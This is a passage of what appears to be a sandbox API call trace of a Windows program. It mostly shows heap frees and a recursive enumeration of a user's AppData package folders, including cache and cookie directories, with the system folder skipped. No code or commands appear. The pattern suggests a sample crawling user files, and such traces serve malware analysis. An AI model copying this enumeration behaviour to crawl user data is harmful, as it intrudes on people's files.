hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0237.998] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.998] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x414efe8 | out: hHeap=0x4f0000) returned 1 [0237.998] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0238.000] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.001] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.002] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.002] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.003] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.004] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.004] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.005] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.005] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.006] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.006] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.007] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.008] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.008] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.009] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.009] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.010] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.010] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.018] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.020] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.020] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.020] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.023] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.024] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.024] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.025] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.025] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.026] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.026] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.026] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.026] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.027] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.027] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.027] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.027] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x414efe8 | out: hHeap=0x4f0000) returned 1 [0238.028] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.028] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x414efe8 | out: hHeap=0x4f0000) returned 1 [0238.028] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0238.028] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4fe0048 | out: hHeap=0x4f0000) returned 1 [0238.033] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0238.033] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0238.033] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4fe0048 | out: hHeap=0x4f0000) returned 1 [0238.034] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0238.036] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.037] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.038] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.039] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.039] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.040] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.040] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.041] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.041] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.042] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.042] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.043] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.043] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.044] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.046] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.047] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.047] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.048] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.048] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.049] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.049] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.050] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.050] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.051] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.051] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.052] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.052] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.053] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.053] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.054] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.054] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.055] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.056] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.056] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.056] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x414efe8 | out: hHeap=0x4f0000) returned 1 [0238.057] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0238.057] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4fe0048 | out: hHeap=0x4f0000) returned 1 [0238.067] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0238.068] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0238.068] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4fe0048 | out: hHeap=0x4f0000) returned 1 [0238.074] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0238.075] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.075] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x414efe8 | out: hHeap=0x4f0000) returned 1 [0238.076] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0238.079] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.080] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.080] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.080] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.081] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.082] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0238.082] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0245.138] FindNextFileW (in: hFindFile=0x41c14f0, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ed0c8e8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7ed0c8e8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x55d5013a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="settings.dat", cAlternateFileName="")) returned 0 [0245.138] FindClose (in: hFindFile=0x41c14f0 | out: hFindFile=0x41c14f0) returned 1 [0245.226] FindNextFileW (in: hFindFile=0x41c15f0, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x627e1477, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x802f4316, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x80471ab5, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.226] FindNextFileW (in: hFindFile=0x41c15f0, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x62879dc0, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x3129e0a6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3129e0a6, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AC", cAlternateFileName="")) returned 1 [0245.226] lstrlenW (lpString="C:\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.AccountsControl_cw5n1h2txyewy\\AC") returned 81 [0245.226] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.AccountsControl_cw5n1h2txyewy\\AC") returned 1 [0245.226] lstrlenW (lpString="AC") returned 2 [0245.226] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="AC") returned 1 [0245.226] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x41914a8 [0245.227] lstrlenW (lpString="C:\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.AccountsControl_cw5n1h2txyewy\\AC") returned 81 [0245.227] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.AccountsControl_cw5n1h2txyewy\\AC\\*", lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x62879dc0, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x3129e0a6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3129e0a6, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x41c18b0 [0245.537] FindNextFileW (in: hFindFile=0x41c18b0, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x62879dc0, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x3129e0a6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3129e0a6, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0245.537] FindNextFileW (in: hFindFile=0x41c18b0, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x62879dc0, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc9c1d2e4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x62879dc0, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="INetCache", cAlternateFileName="INETCA~1")) returned 1 [0245.537] FindNextFileW (in: hFindFile=0x41c18b0, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x62879dc0, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc9c1da82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x62879dc0, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="INetCookies", cAlternateFileName="INETCO~1")) returned 1 [0245.537] FindNextFileW (in: hFindFile=0x41c18b0, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x62879dc0, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc9c1e31c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x62879dc0, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="INetHistory", cAlternateFileName="INETHI~1")) returned 1 [0245.537] FindNextFileW (in: hFindFile=0x41c18b0, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62879dc0, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc9c1eb1a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x62879dc0, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Temp", cAlternateFileName="")) returned 1 [0245.537] FindNextFileW (in: hFindFile=0x41c18b0, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62879dc0, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc9c1eb1a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x62879dc0, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Temp", cAlternateFileName="")) returned 0 [0245.537] FindClose (in: hFindFile=0x41c18b0 | out: hFindFile=0x41c18b0) returned 1 [0245.537] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0245.539] FindNextFileW (in: hFindFile=0x41c15f0, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6282d938, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc9c1f501, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6282d938, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0245.539] FindNextFileW (in: hFindFile=0x41c15f0, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x628076c6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc9c1fd84, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x628076c6, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0245.539] FindNextFileW (in: hFindFile=0x41c15f0, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x627e1477, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc9c2046b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x627e1477, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0245.539] FindNextFileW (in: hFindFile=0x41c15f0, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x628076c6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc9c20cc5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x628076c6, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0245.539] FindNextFileW (in: hFindFile=0x41c15f0, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x628076c6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x71175214, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x71175214, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Settings", cAlternateFileName="")) returned 1 [0245.539] FindNextFileW (in: hFindFile=0x41c15f0, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x802f4316, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x802f4316, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x802f4316, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0245.539] FindNextFileW (in: hFindFile=0x41c15f0, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x628076c6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc9d5a94a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x628076c6, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0245.539] FindNextFileW (in: hFindFile=0x41c15f0, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x628076c6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc9d5a94a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x628076c6, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0245.539] FindClose (in: hFindFile=0x41c15f0 | out: hFindFile=0x41c15f0) returned 1 [0245.539] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x559560 | out: hHeap=0x4f0000) returned 1 [0245.539] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xda8902b6, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xda94ee85, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xda94ee85, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Advertising.Xaml_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.XAM")) returned 1 [0245.539] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4cf90959, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xfafb82b, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0xfafb82b, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Appconnector_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.APP")) returned 1 [0245.539] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b091f87, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc89dadb, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0xc89dadb, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.BingFinance_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.BIN")) returned 1 [0245.539] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49716ce0, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xa0d44ca, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0xa0d44ca, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.BingNews_8wekyb3d8bbwe", cAlternateFileName="MICROS~2.BIN")) returned 1 [0245.539] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x45133c70, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x556dcf4, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x556dcf4, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.BingSports_8wekyb3d8bbwe", cAlternateFileName="MICROS~3.BIN")) returned 1 [0245.539] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x428d1e5f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x31f6a27, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x31f6a27, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 